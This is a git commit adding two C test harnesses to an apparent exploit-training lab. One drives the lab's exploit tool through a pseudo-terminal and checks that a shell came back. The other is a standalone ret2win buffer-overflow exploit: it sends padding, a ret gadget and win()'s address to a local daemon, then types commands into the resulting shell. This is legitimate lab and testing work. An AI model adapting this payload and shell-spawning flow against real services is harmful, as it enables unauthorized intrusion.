Initial commit

This commit is contained in:
Johannes Findeisen 2026-09-29 09:39:24 +02:00
commit 394e3be54d
41 changed files with 16315 additions and 0 deletions

279
tests/pty_test.c Normal file
View file

@ -0,0 +1,279 @@
/*
* pty_test.c -- test harness: drive ./fooc through a pseudo-terminal so the
* interactive shell it spawns has a terminal on its stdin.
*
* Test scaffolding, not part of the lab. It exists because the exploit's final
* act is to replace its own stdin/stdout with the TCP socket and exec a shell.
* Anything already sitting on the real stdin (a pipe, a here-doc) is discarded
* at that moment, so the commands must arrive via a real tty or not at all.
*
* Usage: pty_test <fooc-args...>
* e.g. pty_test -t ret2win
* pty_test -t shellcode
*
* Exit status: 0 if the "PWNED-OK" marker appeared in the session.
*/
#define _GNU_SOURCE
#include <errno.h> /* strerror(). */
#include <fcntl.h> /* open(), O_RDWR. */
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
#include <stdio.h> /* printf() and friends. */
#include <stdlib.h> /* _exit(). */
#include <string.h> /* strstr(). */
#include <sys/wait.h> /* waitpid(). */
#include <sys/select.h>/* select(), for a timeout that is not a busy loop. */
#include <termios.h> /* tcgetattr()/tcsetattr(), cfmakeraw(). */
#include <signal.h> /* kill(), SIGKILL. */
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
/* The marker we type; seeing it back proves we really got a shell. */
#define MARKER "PWNED-OK"
/*
* The two things we require before calling a technique a success. Both must
* appear, and neither is present in the harness's own output:
*
* MARKER the literal string our `echo` prints
* "uid=" the first two fields of `id` output, i.e. a real program really
* ran inside a real shell on the far side of the connection
*
* MARKER alone is not sufficient. It also occurs in the command line we typed,
* so a terminal that merely echoes input -- or any harness that checks a
* single read() chunk -- would score a false positive. "uid=" can only come
* from a live shell executing a program, which is the claim under test.
*/
#define MARKER "PWNED-OK"
#define IDOUT "uid="
/*
* transcript -- everything the pty has ever given us, appended by
* drain_master(). The success check scans this rather than individual read()
* chunks, because a marker can straddle a chunk boundary and a per-chunk
* strstr() would miss a genuine success. Generously sized; a few tens of KB is
* far more than a `id`/`uname` session produces.
*/
static char transcript[65536];
/*
* drain_master() -- read whatever is available on the pty master, for at most
* `ms` milliseconds, echoing it to our stdout and returning the number of
* bytes seen.
*
* Everything goes to ONE stream, stdout. An earlier version sent pre-shell
* output to stderr and shell output to stdout, which meant the two halves of
* the session landed in different places: running the harness with
* `2>/dev/null` silently ate the first line of every command's output and made
* `uid=1000(hanez)` look like `(hanez)`. Concatenating onto one stream means
* the transcript reads in order and can be piped without surprises.
*
* select() with a timeout, rather than a bare read(), keeps this from
* spinning: we genuinely stop when the far end goes quiet, which matters
* because the shell is interactive and silent for long stretches.
*/
static int drain_master(int master, int ms)
{
struct timeval tv;
fd_set rfds;
int total = 0;
char buf[4096];
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = ms / 1000;
tv.tv_usec = (ms % 1000) * 1000;
/* select() returns >0 readable, 0 on timeout, -1 on error. */
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
fwrite(buf, 1, (size_t)n, stdout);
fflush(stdout);
total += (int)n;
/* Keep a copy for the success check, so it is not lost between chunks. */
if ((size_t)total < sizeof(transcript) - 1)
strncat(transcript, buf, (size_t)n);
/* Reset the deadline so a chatty peer cannot keep us here forever. */
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 200000;
}
return total;
}
/*
* technique_of() -- find the value of fooc's -t flag in our own argv, so the
* summary line names the technique we actually ran rather than the option
* letter that introduced it.
*/
static const char *technique_of(int argc, char **argv)
{
for (int i = 1; i + 1 < argc; i++)
if (strcmp(argv[i], "-t") == 0)
return argv[i + 1];
return "(default: ret2win)";
}
int main(int argc, char **argv)
{
int master; /* pty master end: our window in. */
char slave_name[256]; /* Path of the pty slave. */
struct termios saved; /* The terminal state to restore. */
int have_saved = 0; /* Did tcgetattr() succeed? */
pid_t pid; /* The child running fooc. */
int ok = 0; /* Did the marker come back? */
int saw_id = 0; /* Did real `id` output come back? */
int round; /* Which read phase we are in. */
/* ---- 1. Allocate a pty. --------------------------------------------- */
master = posix_openpt(O_RDWR);
if (master < 0) {
perror("posix_openpt");
return 2;
}
if (grantpt(master) < 0 || unlockpt(master) < 0) {
perror("grantpt/unlockpt");
return 2;
}
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
perror("ptsname_r");
return 2;
}
/* ---- 2. Fork; the child becomes the pty slave and execs fooc. ------- */
pid = fork();
if (pid < 0) {
perror("fork");
return 2;
}
if (pid == 0) {
int s;
char *args[64];
int n = 0;
if (setsid() < 0)
_exit(127);
s = open(slave_name, O_RDWR);
if (s < 0)
_exit(127);
dup2(s, STDIN_FILENO);
dup2(s, STDOUT_FILENO);
dup2(s, STDERR_FILENO);
if (s > STDERR_FILENO)
close(s);
/*
* Pass everything through to fooc except our own --dump flag and its
* argument, which fooc's getopt() would reject and exit on.
*/
args[n++] = (char *)"./fooc";
for (int i = 1; i < argc && n < 63; i++) {
if (strcmp(argv[i], "--dump") == 0) {
i++; /* Skip the filename too. */
continue;
}
args[n++] = argv[i];
}
args[n] = NULL;
execv(args[0], args);
_exit(127);
}
/*
* ---- 3. Terminal settings: cooked, but SILENT.
*
* We deliberately do NOT call cfmakeraw(). A real interactive shell needs
* an ordinary line-discipline terminal: input line-buffered, signals
* generated, and (on this system) bash's bracketed-paste sequences. Raw
* mode made the shell misbehave and the harness see nothing back even
* though the exploit was working perfectly.
*
* We DO turn ECHO off, and that detail is load-bearing. The marker we
* check for appears in the command line itself ("echo PWNED-OK"), so with
* echo enabled the pty cheerfully sends our own keystrokes back to us and
* the harness reports success whether or not a shell ever ran. That is a
* false positive, and it hid a real failure here: the shellcode technique
* was crashing (the target's stack is non-executable) while the test
* cheerfully printed marker=SEEN.
*
* So: everything default except ECHO. That gives us a real terminal for
* the shell, without the pty lying to us about what came back.
*/
if (tcgetattr(master, &saved) == 0) {
struct termios quiet = saved;
have_saved = 1; /* Saved purely so we can restore it on exit.*/
quiet.c_lflag &= ~(tcflag_t)ECHO; /* ICANON, ISIG stay ON. */
quiet.c_lflag |= ECHONL; /* ...but keep the newline. */
tcsetattr(master, TCSANOW, &quiet);
}
/*
* ---- 4. Wait for the exploit to finish analysing, connecting, sending
* the payload and exec'ing the shell.
*
* fooc does a full objdump analysis plus a /proc/self/mem scan before it
* sends anything, and only then does it hand the socket to a shell. Any
* bytes we type before that point are written to the pty and then thrown
* away when fooc dup2()s the socket over its own stdin, so we must wait.
*/
for (round = 0; round < 12; round++)
drain_master(master, 250);
/* ---- 5. Type the proof commands. ------------------------------------ */
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
/* ---- 6. Read until we have both signals (or we give up). ------------- */
for (round = 0; round < 20; round++) {
drain_master(master, 250);
/*
* Scan everything seen SO FAR, not just the latest chunk. A string
* can straddle a read() boundary -- "PWN" in one chunk and "ED-OK" in
* the next -- and a per-chunk strstr() would then miss a real success.
* Keeping the whole transcript and rescanning it costs nothing at this
* size and removes a whole class of flaky-test nonsense.
*/
if (strstr(transcript, MARKER) != NULL) ok = 1;
if (strstr(transcript, IDOUT) != NULL) saw_id = 1;
if (ok && saw_id)
break; /* Proof obtained; no need to keep waiting. */
}
/* ---- 7. Tidy up. --------------------------------------------------- */
kill(pid, SIGKILL); /* The shell may ignore our 'exit'. */
waitpid(pid, NULL, 0);
if (have_saved)
tcsetattr(master, TCSANOW, &saved);
close(master);
/*
* Report the two signals separately so a failure is diagnosable at a
* glance: marker-without-`id` means the shell echoed our input but never
* ran anything; no marker at all means the payload never landed.
*/
/* Optionally dump the raw transcript for post-mortem debugging:
* pty_test -t shellcode --dump raw.txt
* (Anything after --dump is taken as a filename; the check still runs.) */
for (int i = 1; i + 1 < argc; i++) {
if (strcmp(argv[i], "--dump") == 0) {
FILE *f = fopen(argv[i + 1], "w");
if (f != NULL) {
fwrite(transcript, 1, strlen(transcript), f);
fclose(f);
fprintf(stderr, "[pty_test] transcript (%zu bytes) -> %s\n",
strlen(transcript), argv[i + 1]);
}
}
}
fprintf(stderr, "\n[pty_test] technique=%-10s marker=%-7s id_output=%s\n",
technique_of(argc, argv),
ok ? "SEEN" : "MISSING",
saw_id ? "SEEN" : "MISSING");
return (ok && saw_id) ? 0 : 1;
}

93
tests/sock_test.c Normal file
View file

@ -0,0 +1,93 @@
/*
* sock_test.c -- verify the exploit end-to-end without a pty.
*
* Test scaffolding. This speaks the protocol itself: connect, read the banner
* and leaks, send the same payload fooc would send, then type commands and read
* replies as raw bytes over the socket. That removes the pty layer entirely, so
* a failure here is unambiguously the exploit's fault and not the harness's.
*
* It deliberately does NOT reuse fooc's payload builders -- it builds the same
* 88 bytes of 'A' plus win()'s address, plus the alignment `ret`, so that this
* test and fooc are independent checks of the same idea.
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/time.h>
#include <sys/wait.h>
int main(int argc, char **argv)
{
struct sockaddr_in sa;
int fd, port = 2342;
char rx[4096];
size_t got = 0;
unsigned long win_addr, ret_gadget = 0x40101a;
unsigned char payload[128];
const char *marker = "SOCK-OK";
pid_t pid;
/* win()'s address, passed in so this test does not duplicate the
* disassembler that fooc already implements. */
if (argc < 2) { fprintf(stderr, "usage: sock_test <win_addr_hex> [port]\n"); return 2; }
win_addr = strtoul(argv[1], NULL, 0);
if (argc > 2) port = atoi(argv[2]);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
inet_pton(AF_INET, "127.0.0.1", &sa.sin_addr);
if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("connect"); return 1; }
/* Read the banner and the leak lines. */
while (got < sizeof(rx) - 1) {
ssize_t n = read(fd, rx + got, sizeof(rx) - 1 - got);
if (n <= 0) break;
got += (size_t)n;
if (strstr(rx, "BUF=")) break;
}
rx[got] = 0;
printf("--- banner ---\n%s--------------\n", rx);
/* 88 bytes of padding, then the alignment `ret`, then win(). */
memset(payload, 0x41, 88);
memcpy(payload + 88, &ret_gadget, 8);
memcpy(payload + 96, &win_addr, 8);
if (write(fd, payload, 104) != 104) { perror("write"); return 1; }
printf("sent 104 bytes; win=%#lx\n", win_addr);
/* Give the daemon time to run win() and fork+exec the shell. */
usleep(700000);
/* Type commands as raw bytes, exactly as a real attacker would. */
dprintf(fd, "id; echo %s; exit\n", marker);
/* Collect the reply. */
got = 0;
for (int i = 0; i < 30 && !strstr(rx, marker); i++) {
ssize_t n;
struct timeval tv = { 0, 200000 };
fd_set fds;
FD_ZERO(&fds); FD_SET(fd, &fds);
if (select(fd + 1, &fds, NULL, NULL, &tv) <= 0) continue;
n = read(fd, rx + got, sizeof(rx) - 1 - got);
if (n <= 0) break;
got += (size_t)n;
rx[got] = 0;
}
printf("--- reply ---\n%s--------------\n", rx);
int ok = strstr(rx, marker) != NULL;
printf("[sock_test] marker: %s\n", ok ? "SEEN" : "MISSING");
close(fd);
(void)pid; (void)waitpid;
return ok ? 0 : 1;
}